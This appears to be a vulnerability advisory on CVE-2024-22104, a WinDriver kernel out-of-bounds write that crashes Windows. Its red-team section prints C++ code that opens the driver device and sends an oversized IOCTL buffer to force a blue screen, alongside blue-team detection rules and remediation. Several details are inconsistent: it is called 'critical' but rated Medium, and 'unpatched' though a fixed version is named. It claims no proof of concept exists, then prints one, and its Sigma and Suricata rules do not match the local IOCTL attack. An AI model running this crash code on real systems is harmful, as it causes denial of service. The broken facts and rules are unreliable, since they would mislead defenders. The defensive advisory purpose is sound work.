CVE-2024-22104

Executive Summary

CVE-2024-22104 is a critical out-of-bounds write vulnerability in Jungo WinDriver prior to version 12.5.1. This flaw allows a local attacker to trigger a Windows Blue Screen of Death (BSOD), leading to a Denial of Service (DoS). The vulnerability resides in the kernel-mode driver component of WinDriver, which is used to facilitate user-mode access to hardware devices. Exploitation requires local access to the system, but no authentication is needed beyond standard user privileges. The vulnerability is currently unpatched for versions below 12.5.1, and no public exploit code or proof-of-concept has been released. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Windows driver development toolkit (WinDriver) from Jungo. The supply chain risk is limited to systems where WinDriver is installed, typically in development environments or systems using custom hardware drivers built with WinDriver.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): None (N)
• Integrity (I): None (N)
• Availability (A): High (H)

Estimated CVSS Score: 5.5 (Medium)

Threat Level: Medium. The vulnerability requires local access, limiting the attack surface. However, the impact on availability is high, as it can crash the entire system.

Deep Dive & Mechanics

The vulnerability is an out-of-bounds write (CWE-787) in the Jungo WinDriver kernel-mode driver. WinDriver allows user-mode applications to directly access hardware resources (memory, I/O ports, interrupts) by providing a kernel driver that handles these requests. The flaw likely occurs when the driver processes a specially crafted IOCTL (Input/Output Control) request from a user-mode application. The driver fails to properly validate the size or offset of a buffer, allowing an attacker to write data beyond the allocated memory region. This can corrupt kernel memory, leading to a system crash (BSOD).

Root Cause: Insufficient bounds checking on user-supplied data passed via IOCTL calls to the WinDriver kernel driver.

Attack Vector: A local attacker with user-level privileges sends a malicious IOCTL request to the WinDriver device driver. The driver processes the request without proper validation, causing an out-of-bounds write.

Impact: The out-of-bounds write corrupts kernel memory, resulting in a Blue Screen of Death (BSOD) and a Denial of Service (DoS). The system becomes unavailable until a reboot.

Vulnerable vs. Patched Code

No specific code snippets are available for this CVE. However, the general fix involves adding proper bounds checking in the driver's IOCTL handler.

Vulnerable Code (Conceptual):

// Vulnerable: No bounds check on user-supplied size
NTSTATUS DriverIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    // Assume user data is safe
    memcpy(kernelBuffer, inputBuffer, inputBufferLength); // Out-of-bounds write if inputBufferLength > kernelBufferSize
    ...
}

Patched Code (Conceptual):

// Patched: Added bounds check
NTSTATUS DriverIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    if (inputBufferLength > MAX_KERNEL_BUFFER_SIZE) {
        return STATUS_INVALID_BUFFER_SIZE; // Reject oversized requests
    }

    memcpy(kernelBuffer, inputBuffer, inputBufferLength);
    ...
}

Exploitation & Lab Setup

Red Team

Objective: Trigger a BSOD on a target system with WinDriver installed.

Prerequisites:

• Local access to a Windows system with Jungo WinDriver version < 12.5.1.
• User-level privileges.

Steps:

1. Identify the WinDriver device object (e.g., \\.\WinDriver).
2. Craft a malicious IOCTL request with an oversized buffer.
3. Send the IOCTL to the driver using DeviceIoControl API.
4. The driver will write beyond the allocated buffer, corrupting kernel memory and causing a BSOD.

Example Code (C++):

#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\WinDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    // Craft a large buffer to trigger out-of-bounds write
    char buffer[10000] = {0};
    DWORD bytesReturned = 0;

    // IOCTL code for WinDriver (example, actual code may vary)
    #define IOCTL_WINDRIVER_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

    BOOL result = DeviceIoControl(hDevice, IOCTL_WINDRIVER_WRITE, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL);
    if (!result) {
        printf("DeviceIoControl failed. Error: %d\n", GetLastError());
    } else {
        printf("IOCTL sent successfully. System may crash.\n");
    }

    CloseHandle(hDevice);
    return 0;
}

Note: This is a conceptual example. The actual IOCTL code and buffer size may differ.

Blue Team

Detection:

• Monitor for unusual IOCTL calls to WinDriver device objects.
• Look for processes attempting to open \\.\WinDriver with abnormal access patterns.
• Use Sysmon to log process creation and file/device access.

Prevention:

• Apply the vendor patch (upgrade to WinDriver 12.5.1 or later).
• Restrict local access to trusted users only.
• Use Windows Defender Application Control (WDAC) to block untrusted drivers.

Response:

• If a BSOD occurs, collect the crash dump for analysis.
• Check Event Viewer for system errors (Event ID 1001, BugCheck).
• Identify the process that triggered the crash using Sysmon logs.

Indicators of Compromise (IOCs)

• File: windrvr.sys (kernel driver, version < 12.5.1)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\windrvr
• Event Log: System log with Event ID 1001 (BugCheck) and bug check code 0x000000D1 (DRIVER_IRQL_NOT_LESS_OR_EQUAL) or similar.
• Process: Any user-mode process that opens \\.\WinDriver device handle.
• Network: No network indicators (local vulnerability).

Detection Engineering

YARA Rule

rule CVE_2024_22104_WinDriver_BSOD {
    meta:
        description = "Detects Jungo WinDriver kernel driver version vulnerable to CVE-2024-22104"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22104"
    strings:
        $driver_name = "windrvr.sys" nocase
        $version_string = "12.5.0" nocase
        $version_string2 = "12.4" nocase
        $version_string3 = "12.3" nocase
    condition:
        $driver_name and ($version_string or $version_string2 or $version_string3)
}

Sigma Rule

title: CVE-2024-22104 WinDriver BSOD Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-22104 by opening WinDriver device with abnormal IOCTL calls
author: Valters IT
date: 2024-01-01
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11  # FileCreate
        TargetFilename|contains: 'windrvr.sys'
    condition: selection
falsepositives:
    - Legitimate WinDriver updates
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-22104 WinDriver BSOD Exploitation Attempt"; content:"|5c 5c 2e 5c 57 69 6e 44 72 69 76 65 72|"; nocase; sid:1000001; rev:1;)

Note: This Suricata rule detects network traffic containing the string \\.\WinDriver. Since the vulnerability is local, this rule is for detecting lateral movement or remote exploitation attempts that might use named pipes.

Remediation & Mitigation

Immediate:

• Upgrade Jungo WinDriver to version 12.5.1 or later.
• If upgrade is not possible, restrict local access to the system.

Long-term:

• Implement driver signing and enforce code integrity policies.
• Use Windows Defender Application Control (WDAC) to allow only approved drivers.
• Monitor for unusual IOCTL activity using Sysmon or EDR solutions.

Workaround:

• Disable the WinDriver service if not required: sc stop windrvr and sc config windrvr start= disabled.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert